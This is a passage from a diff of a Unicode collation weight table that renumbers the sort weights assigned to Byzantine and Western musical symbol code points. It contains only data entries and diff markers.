BYZANTINE MUSICAL SYMBOL MARTYRIA ALLI PROTOS ICHOS +1D0A4 ; [*1054.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA DEYTEROS ICHOS +1D0A5 ; [*1055.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA ALLI DEYTEROS ICHOS +1D0A6 ; [*1056.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TRITOS ICHOS +1D0A7 ; [*1057.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TRIFONIAS +1D0A8 ; [*1058.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TETARTOS ICHOS +1D0A9 ; [*1059.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TETARTOS LEGETOS ICHOS +1D0AA ; [*105A.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA LEGETOS ICHOS +1D0AB ; [*105B.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS ICHOS +1D0AC ; [*105C.0020.0002] # BYZANTINE MUSICAL SYMBOL ISAKIA TELOUS ICHIMATOS +1D0AD ; [*105D.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOI TELOUS ICHIMATOS +1D0AE ; [*105E.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS TETRAFONIAS +1D0AF ; [*105F.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS MONOFONIAS +1D0B0 ; [*1060.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS DIFONIAS +1D0B1 ; [*1061.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA VARYS ICHOS +1D0B2 ; [*1062.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PROTOVARYS ICHOS +1D0B3 ; [*1063.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS TETARTOS ICHOS +1D0B4 ; [*1064.0020.0002] # BYZANTINE MUSICAL SYMBOL GORTHMIKON N APLOUN +1D0B5 ; [*1065.0020.0002] # BYZANTINE MUSICAL SYMBOL GORTHMIKON N DIPLOUN +1D0B6 ; [*1066.0020.0002] # BYZANTINE MUSICAL SYMBOL ENARXIS KAI FTHORA VOU +1D0B7 ; [*1067.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFONON +1D0B8 ; [*1068.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFTHORON +1D0B9 ; [*1069.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ARCHAION DEYTEROU ICHOU +1D0BA ; [*106A.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI PA +1D0BB ; [*106B.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NANA +1D0BC ; [*106C.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA NAOS ICHOS +1D0BD ; [*106D.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI DI +1D0BE ; [*106E.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON DIATONON DI +1D0BF ; [*106F.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI KE +1D0C0 ; [*1070.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI ZO +1D0C1 ; [*1071.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NI KATO +1D0C2 ; [*1072.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NI ANO +1D0C3 ; [*1073.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA MALAKON CHROMA DIFONIAS +1D0C4 ; [*1074.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA MALAKON CHROMA MONOFONIAS +1D0C5 ; [*1075.0020.0002] # BYZANTINE MUSICAL SYMBOL FHTORA SKLIRON CHROMA VASIS +1D0C6 ; [*1076.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON CHROMA SYNAFI +1D0C7 ; [*1077.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA NENANO +1D0C8 ; [*1078.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA ZYGOS +1D0C9 ; [*1079.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA KLITON +1D0CA ; [*107A.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA SPATHI +1D0CB ; [*107B.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA I YFESIS TETARTIMORION +1D0CC ; [*107C.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ENARMONIOS ANTIFONIA +1D0CD ; [*107D.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS TRITIMORION +1D0CE ; [*107E.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TRITIMORION +1D0CF ; [*107F.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TETARTIMORION +1D0D0 ; [*1080.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS APLI DYO DODEKATA +1D0D1 ; [*1081.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS MONOGRAMMOS TESSERA DODEKATA +1D0D2 ; [*1082.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS DIGRAMMOS EX DODEKATA +1D0D3 ; [*1083.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TRIGRAMMOS OKTO DODEKATA +1D0D4 ; [*1084.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS APLI DYO DODEKATA +1D0D5 ; [*1085.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS MONOGRAMMOS TESSERA DODEKATA +1D0D6 ; [*1086.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS DIGRAMMOS EX DODEKATA +1D0D7 ; [*1087.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS TRIGRAMMOS OKTO DODEKATA +1D0D8 ; [*1088.0020.0002] # BYZANTINE MUSICAL SYMBOL GENIKI DIESIS +1D0D9 ; [*1089.0020.0002] # BYZANTINE MUSICAL SYMBOL GENIKI YFESIS +1D0DA ; [*108A.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI APLI MIKRI +1D0DB ; [*108B.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI APLI MEGALI +1D0DC ; [*108C.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI DIPLI +1D0DD ; [*108D.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI THESEOS +1D0DE ; [*108E.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS +1D0DF ; [*108F.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS DISIMOU +1D0E0 ; [*1090.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS TRISIMOU +1D0E1 ; [*1091.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS TETRASIMOU +1D0E2 ; [*1092.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS +1D0E3 ; [*1093.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS DISIMOU +1D0E4 ; [*1094.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS TRISIMOU +1D0E5 ; [*1095.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS TETRASIMOU +1D0E6 ; [*1096.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGRAMMA GG +1D0E7 ; [*1097.0020.0002] # BYZANTINE MUSICAL SYMBOL DIFTOGGOS OU +1D0E8 ; [*1098.0020.0002] # BYZANTINE MUSICAL SYMBOL STIGMA +1D0E9 ; [*1099.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO PA +1D0EA ; [*109A.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO VOU +1D0EB ; [*109B.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO GA +1D0EC ; [*109C.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO DI +1D0ED ; [*109D.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO KE +1D0EE ; [*109E.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO ZO +1D0EF ; [*109F.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO NI +1D0F0 ; [*10A0.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO MESO +1D0F1 ; [*10A1.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO MESO +1D0F2 ; [*10A2.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO KATO +1D0F3 ; [*10A3.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO KATO +1D0F4 ; [*10A4.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA KATO +1D0F5 ; [*10A5.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON NEO KATO +1D100 ; [*10A6.0020.0002] # MUSICAL SYMBOL SINGLE BARLINE +1D101 ; [*10A7.0020.0002] # MUSICAL SYMBOL DOUBLE BARLINE +1D102 ; [*10A8.0020.0002] # MUSICAL SYMBOL FINAL BARLINE +1D103 ; [*10A9.0020.0002] # MUSICAL SYMBOL REVERSE FINAL BARLINE +1D104 ; [*10AA.0020.0002] # MUSICAL SYMBOL DASHED BARLINE +1D105 ; [*10AB.0020.0002] # MUSICAL SYMBOL SHORT BARLINE +1D106 ; [*10AC.0020.0002] # MUSICAL SYMBOL LEFT REPEAT SIGN +1D107 ; [*10AD.0020.0002] # MUSICAL SYMBOL RIGHT REPEAT SIGN +1D108 ; [*10AE.0020.0002] # MUSICAL SYMBOL REPEAT DOTS +1D109 ; [*10AF.0020.0002] # MUSICAL SYMBOL DAL SEGNO +1D10A ; [*10B0.0020.0002] # MUSICAL SYMBOL DA CAPO +1D10B ; [*10B1.0020.0002] # MUSICAL SYMBOL SEGNO +1D10C ; [*10B2.0020.0002] # MUSICAL SYMBOL CODA +1D10D ; [*10B3.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-1 +1D10E ; [*10B4.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-2 +1D10F ; [*10B5.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-3 +1D110 ; [*10B6.0020.0002] # MUSICAL SYMBOL FERMATA +1D111 ; [*10B7.0020.0002] # MUSICAL SYMBOL FERMATA BELOW +1D112 ; [*10B8.0020.0002] # MUSICAL SYMBOL BREATH MARK +1D113 ; [*10B9.0020.0002] # MUSICAL SYMBOL CAESURA +1D114 ; [*10BA.0020.0002] # MUSICAL SYMBOL BRACE +1D115 ; [*10BB.0020.0002] # MUSICAL SYMBOL BRACKET +1D116 ; [*10BC.0020.0002] # MUSICAL SYMBOL ONE-LINE STAFF +1D117 ; [*10BD.0020.0002] # MUSICAL SYMBOL TWO-LINE STAFF +1D118 ; [*10BE.0020.0002] # MUSICAL SYMBOL THREE-LINE STAFF +1D119 ; [*10BF.0020.0002] # MUSICAL SYMBOL FOUR-LINE STAFF +1D11A ; [*10C0.0020.0002] # MUSICAL SYMBOL FIVE-LINE STAFF +1D11B ; [*10C1.0020.0002] # MUSICAL SYMBOL SIX-LINE STAFF +1D11C ; [*10C2.0020.0002] # MUSICAL SYMBOL SIX-STRING FRETBOARD +1D11D ; [*10C3.0020.0002] # MUSICAL SYMBOL FOUR-STRING FRETBOARD +1D11E ; [*10C4.0020.0002] # MUSICAL SYMBOL G CLEF +1D11F ; [*10C5.0020.0002] # MUSICAL SYMBOL G CLEF OTTAVA ALTA +1D120 ; [*10C6.0020.0002] # MUSICAL SYMBOL G CLEF OTTAVA BASSA +1D121 ; [*10C7.0020.0002] # MUSICAL SYMBOL C CLEF +1D122 ; [*10C8.0020.0002] # MUSICAL SYMBOL F CLEF +1D123 ; [*10C9.0020.0002] # MUSICAL SYMBOL F CLEF OTTAVA ALTA +1D124 ; [*10CA.0020.0002] # MUSICAL SYMBOL F CLEF OTTAVA BASSA +1D125 ; [*10CB.0020.0002] # MUSICAL SYMBOL DRUM CLEF-1 +1D126 ; [*10CC.0020.0002] # MUSICAL SYMBOL DRUM CLEF-2 +1D129 ; [*10E0.0020.0002] # MUSICAL SYMBOL MULTIPLE MEASURE REST +1D12A ; [*10D0.0020.0002] # MUSICAL SYMBOL DOUBLE SHARP +1D12B ; [*10D1.0020.0002] # MUSICAL SYMBOL DOUBLE FLAT +1D12C ; [*10D2.0020.0002] # MUSICAL SYMBOL FLAT UP +1D12D ; [*10D3.0020.0002] # MUSICAL SYMBOL FLAT DOWN +1D12E ; [*10D4.0020.0002] # MUSICAL SYMBOL NATURAL UP +1D12F ; [*10D5.0020.0002] # MUSICAL SYMBOL NATURAL DOWN +1D130 ; [*10D6.0020.0002] # MUSICAL SYMBOL SHARP UP +1D131 ; [*10D7.0020.0002] # MUSICAL SYMBOL SHARP DOWN +1D132 ; [*10D8.0020.0002] # MUSICAL SYMBOL QUARTER TONE SHARP +1D133 ; [*10D9.0020.0002] # MUSICAL SYMBOL QUARTER TONE FLAT +1D134 ; [*10DA.0020.0002] # MUSICAL SYMBOL COMMON TIME +1D135 ; [*10DB.0020.0002] # MUSICAL SYMBOL CUT TIME +1D136 ; [*10DC.0020.0002] # MUSICAL SYMBOL OTTAVA ALTA +1D137 ; [*10DD.0020.0002] # MUSICAL SYMBOL OTTAVA BASSA +1D138 ; [*10DE.0020.0002] # MUSICAL SYMBOL QUINDICESIMA ALTA +1D139 ; [*10DF.0020.0002] # MUSICAL SYMBOL QUINDICESIMA BASSA +1D13A ; [*10E1.0020.0002] # MUSICAL SYMBOL MULTI REST +1D13B ; [*10E2.0020.0002] # MUSICAL SYMBOL WHOLE REST +1D13C ; [*10E3.0020.0002] # MUSICAL SYMBOL HALF REST +1D13D ; [*10E4.0020.0002] # MUSICAL SYMBOL QUARTER REST +1D13E ; [*10E5.0020.0002] # MUSICAL SYMBOL EIGHTH REST +1D13F ; [*10E6.0020.0002] # MUSICAL SYMBOL SIXTEENTH REST +1D140 ; [*10E7.0020.0002] # MUSICAL SYMBOL THIRTY-SECOND REST +1D141 ; [*10E8.0020.0002] # MUSICAL SYMBOL SIXTY-FOURTH REST +1D142 ; [*10E9.0020.0002] # MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH REST +1D143 ; [*10EA.0020.0002] # MUSICAL SYMBOL X NOTEHEAD +1D144 ; [*10EB.0020.0002] # MUSICAL SYMBOL PLUS NOTEHEAD +1D145 ; [*10EC.0020.0002] # MUSICAL SYMBOL CIRCLE X NOTEHEAD +1D146 ; [*10ED.0020.0002] # MUSICAL SYMBOL SQUARE NOTEHEAD WHITE +1D147 ; [*10EE.0020.0002] # MUSICAL SYMBOL SQUARE NOTEHEAD BLACK +1D148 ; [*10EF.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP WHITE +1D149 ; [*10F0.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP BLACK +1D14A ; [*10F1.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD LEFT WHITE +1D14B ; [*10F2.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD LEFT BLACK +1D14C ; [*10F3.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD RIGHT WHITE +1D14D ; [*10F4.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD RIGHT BLACK +1D14E ; [*10F5.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD DOWN WHITE +1D14F ; [*10F6.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD DOWN BLACK +1D150 ; [*10F7.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP RIGHT WHITE +1D151 ; [*10F8.0020.0002] # MUSICAL SYMBOL TRIANGLE NOTEHEAD UP RIGHT BLACK +1D152 ; [*10F9.0020.0002] # MUSICAL SYMBOL MOON NOTEHEAD WHITE +1D153 ; [*10FA.0020.0002] # MUSICAL SYMBOL MOON NOTEHEAD BLACK +1D154 ; [*10FB.0020.0002] # MUSICAL SYMBOL TRIANGLE-ROUND NOTEHEAD DOWN WHITE +1D155 ; [*10FC.0020.0002] # MUSICAL SYMBOL TRIANGLE-ROUND NOTEHEAD DOWN BLACK +1D156 ; [*10FD.0020.0002] # MUSICAL SYMBOL PARENTHESIS NOTEHEAD +1D157 ; [*10FE.0020.0002] # MUSICAL SYMBOL VOID NOTEHEAD +1D158 ; [*10FF.0020.0002] # MUSICAL SYMBOL NOTEHEAD BLACK +1D159 ; [*1100.0020.0002] # MUSICAL SYMBOL NULL NOTEHEAD +1D15A ; [*1101.0020.0002] # MUSICAL SYMBOL CLUSTER NOTEHEAD WHITE +1D15B ; [*1102.0020.0002] # MUSICAL SYMBOL CLUSTER NOTEHEAD BLACK +1D15C ; [*1103.0020.0002] # MUSICAL SYMBOL BREVE +1D15D ; [*1104.0020.0002] # MUSICAL SYMBOL WHOLE NOTE +1D15E ; [*10FE.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL HALF NOTE +1D15F ; [*10FF.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL QUARTER NOTE +1D160 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL EIGHTH NOTE +1D161 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SIXTEENTH NOTE +1D162 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL THIRTY-SECOND NOTE +1D163 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SIXTY-FOURTH NOTE +1D164 ; [*10FF.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH NOTE 1D165 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING STEM 1D166 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING SPRECHGESANG STEM 1D167 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING TREMOLO-1 1D168 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING TREMOLO-2 1D169 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING TREMOLO-3 -1D16A ; [*112B.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-1 -1D16B ; [*112C.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-2 -1D16C ; [*112D.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-3 +1D16A ; [*1105.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-1 +1D16B ; [*1106.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-2 +1D16C ; [*1107.0020.0002] # MUSICAL SYMBOL FINGERED TREMOLO-3 1D16D ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING AUGMENTATION DOT 1D16E ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING FLAG-1 1D16F ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING FLAG-2 @@ -5108,8 +5036,8 @@ FFFC ; [*1A95.0020.0002] # OBJECT REPLACEMENT CHARACTER 1D180 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING MARCATO-STACCATO 1D181 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING ACCENT-STACCATO 1D182 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING LOURE -1D183 ; [*112E.0020.0002] # MUSICAL SYMBOL ARPEGGIATO UP -1D184 ; [*112F.0020.0002] # MUSICAL SYMBOL ARPEGGIATO DOWN +1D183 ; [*1108.0020.0002] # MUSICAL SYMBOL ARPEGGIATO UP +1D184 ; [*1109.0020.0002] # MUSICAL SYMBOL ARPEGGIATO DOWN 1D185 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING DOIT 1D186 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING RIP 1D187 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING FLIP @@ -5117,787 +5045,787 @@ FFFC ; [*1A95.0020.0002] # OBJECT REPLACEMENT CHARACTER 1D189 ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING BEND 1D18A ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING DOUBLE TONGUE 1D18B ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING TRIPLE TONGUE -1D18C ; [*1130.0020.0002] # MUSICAL SYMBOL RINFORZANDO -1D18D ; [*1131.0020.0002] # MUSICAL SYMBOL SUBITO -1D18E ; [*1132.0020.0002] # MUSICAL SYMBOL Z -1D18F ; [*1133.0020.0002] # MUSICAL SYMBOL PIANO -1D190 ; [*1134.0020.0002] # MUSICAL SYMBOL MEZZO -1D191 ; [*1135.0020.0002] # MUSICAL SYMBOL FORTE -1D192 ; [*1136.0020.0002] # MUSICAL SYMBOL CRESCENDO -1D193 ; [*1137.0020.0002] # MUSICAL SYMBOL DECRESCENDO -1D194 ; [*1138.0020.0002] # MUSICAL SYMBOL GRACE NOTE SLASH -1D195 ; [*1139.0020.0002] # MUSICAL SYMBOL GRACE NOTE NO SLASH -1D196 ; [*113A.0020.0002] # MUSICAL SYMBOL TR -1D197 ; [*113B.0020.0002] # MUSICAL SYMBOL TURN -1D198 ; [*113C.0020.0002] # MUSICAL SYMBOL INVERTED TURN -1D199 ; [*113D.0020.0002] # MUSICAL SYMBOL TURN SLASH -1D19A ; [*113E.0020.0002] # MUSICAL SYMBOL TURN UP -1D19B ; [*113F.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-1 -1D19C ; [*1140.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-2 -1D19D ; [*1141.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-3 -1D19E ; [*1142.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-4 -1D19F ; [*1143.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-5 -1D1A0 ; [*1144.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-6 -1D1A1 ; [*1145.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-7 -1D1A2 ; [*1146.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-8 -1D1A3 ; [*1147.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-9 -1D1A4 ; [*1148.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-10 -1D1A5 ; [*1149.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-11 -1D1A6 ; [*114A.0020.0002] # MUSICAL SYMBOL HAUPTSTIMME -1D1A7 ; [*114B.0020.0002] # MUSICAL SYMBOL NEBENSTIMME -1D1A8 ; [*114C.0020.0002] # MUSICAL SYMBOL END OF STIMME -1D1A9 ; [*114D.0020.0002] # MUSICAL SYMBOL DEGREE SLASH +1D18C ; [*110A.0020.0002] # MUSICAL SYMBOL RINFORZANDO +1D18D ; [*110B.0020.0002] # MUSICAL SYMBOL SUBITO +1D18E ; [*110C.0020.0002] # MUSICAL SYMBOL Z +1D18F ; [*110D.0020.0002] # MUSICAL SYMBOL PIANO +1D190 ; [*110E.0020.0002] # MUSICAL SYMBOL MEZZO +1D191 ; [*110F.0020.0002] # MUSICAL SYMBOL FORTE +1D192 ; [*1110.0020.0002] # MUSICAL SYMBOL CRESCENDO +1D193 ; [*1111.0020.0002] # MUSICAL SYMBOL DECRESCENDO +1D194 ; [*1112.0020.0002] # MUSICAL SYMBOL GRACE NOTE SLASH +1D195 ; [*1113.0020.0002] # MUSICAL SYMBOL GRACE NOTE NO SLASH +1D196 ; [*1114.0020.0002] # MUSICAL SYMBOL TR +1D197 ; [*1115.0020.0002] # MUSICAL SYMBOL TURN +1D198 ; [*1116.0020.0002] # MUSICAL SYMBOL INVERTED TURN +1D199 ; [*1117.0020.0002] # MUSICAL SYMBOL TURN SLASH +1D19A ; [*1118.0020.0002] # MUSICAL SYMBOL TURN UP +1D19B ; [*1119.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-1 +1D19C ; [*111A.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-2 +1D19D ; [*111B.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-3 +1D19E ; [*111C.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-4 +1D19F ; [*111D.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-5 +1D1A0 ; [*111E.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-6 +1D1A1 ; [*111F.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-7 +1D1A2 ; [*1120.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-8 +1D1A3 ; [*1121.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-9 +1D1A4 ; [*1122.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-10 +1D1A5 ; [*1123.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-11 +1D1A6 ; [*1124.0020.0002] # MUSICAL SYMBOL HAUPTSTIMME +1D1A7 ; [*1125.0020.0002] # MUSICAL SYMBOL NEBENSTIMME +1D1A8 ; [*1126.0020.0002] # MUSICAL SYMBOL END OF STIMME +1D1A9 ; [*1127.0020.0002] # MUSICAL SYMBOL DEGREE SLASH 1D1AA ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING DOWN BOW 1D1AB ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING UP BOW 1D1AC ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING HARMONIC 1D1AD ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING SNAP PIZZICATO -1D1AE ; [*114E.0020.0002] # MUSICAL SYMBOL PEDAL MARK -1D1AF ; [*114F.0020.0002] # MUSICAL SYMBOL PEDAL UP MARK -1D1B0 ; [*1150.0020.0002] # MUSICAL SYMBOL HALF PEDAL MARK -1D1B1 ; [*1151.0020.0002] # MUSICAL SYMBOL GLISSANDO UP -1D1B2 ; [*1152.0020.0002] # MUSICAL SYMBOL GLISSANDO DOWN -1D1B3 ; [*1153.0020.0002] # MUSICAL SYMBOL WITH FINGERNAILS -1D1B4 ; [*1154.0020.0002] # MUSICAL SYMBOL DAMP -1D1B5 ; [*1155.0020.0002] # MUSICAL SYMBOL DAMP ALL -1D1B6 ; [*1156.0020.0002] # MUSICAL SYMBOL MAXIMA -1D1B7 ; [*1157.0020.0002] # MUSICAL SYMBOL LONGA -1D1B8 ; [*1158.0020.0002] # MUSICAL SYMBOL BREVIS -1D1B9 ; [*1159.0020.0002] # MUSICAL SYMBOL SEMIBREVIS WHITE -1D1BA ; [*115A.0020.0002] # MUSICAL SYMBOL SEMIBREVIS BLACK -1D1BB ; [*1159.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL MINIMA -1D1BC ; [*115A.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL MINIMA BLACK -1D1BD ; [*1159.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SEMIMINIMA WHITE -1D1BE ; [*115A.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SEMIMINIMA BLACK -1D1BF ; [*1159.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL FUSA WHITE -1D1C0 ; [*115A.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL FUSA BLACK -1D1C1 ; [*115B.0020.0002] # MUSICAL SYMBOL LONGA PERFECTA REST -1D1C2 ; [*115C.0020.0002] # MUSICAL SYMBOL LONGA IMPERFECTA REST -1D1C3 ; [*115D.0020.0002] # MUSICAL SYMBOL BREVIS REST -1D1C4 ; [*115E.0020.0002] # MUSICAL SYMBOL SEMIBREVIS REST -1D1C5 ; [*115F.0020.0002] # MUSICAL SYMBOL MINIMA REST -1D1C6 ; [*1160.0020.0002] # MUSICAL SYMBOL SEMIMINIMA REST -1D1C7 ; [*1161.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE PERFECTA -1D1C8 ; [*1162.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE IMPERFECTA -1D1C9 ; [*1163.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE PERFECTA DIMINUTION-1 -1D1CA ; [*1164.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE PERFECTA -1D1CB ; [*1165.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA -1D1CC ; [*1166.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-1 -1D1CD ; [*1167.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-2 -1D1CE ; [*1168.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-3 -1D1CF ; [*1169.0020.0002] # MUSICAL SYMBOL CROIX -1D1D0 ; [*116A.0020.0002] # MUSICAL SYMBOL GREGORIAN C CLEF -1D1D1 ; [*116B.0020.0002] # MUSICAL SYMBOL GREGORIAN F CLEF -1D1D2 ; [*116C.0020.0002] # MUSICAL SYMBOL SQUARE B -1D1D3 ; [*116D.0020.0002] # MUSICAL SYMBOL VIRGA -1D1D4 ; [*116E.0020.0002] # MUSICAL SYMBOL PODATUS -1D1D5 ; [*116F.0020.0002] # MUSICAL SYMBOL CLIVIS -1D1D6 ; 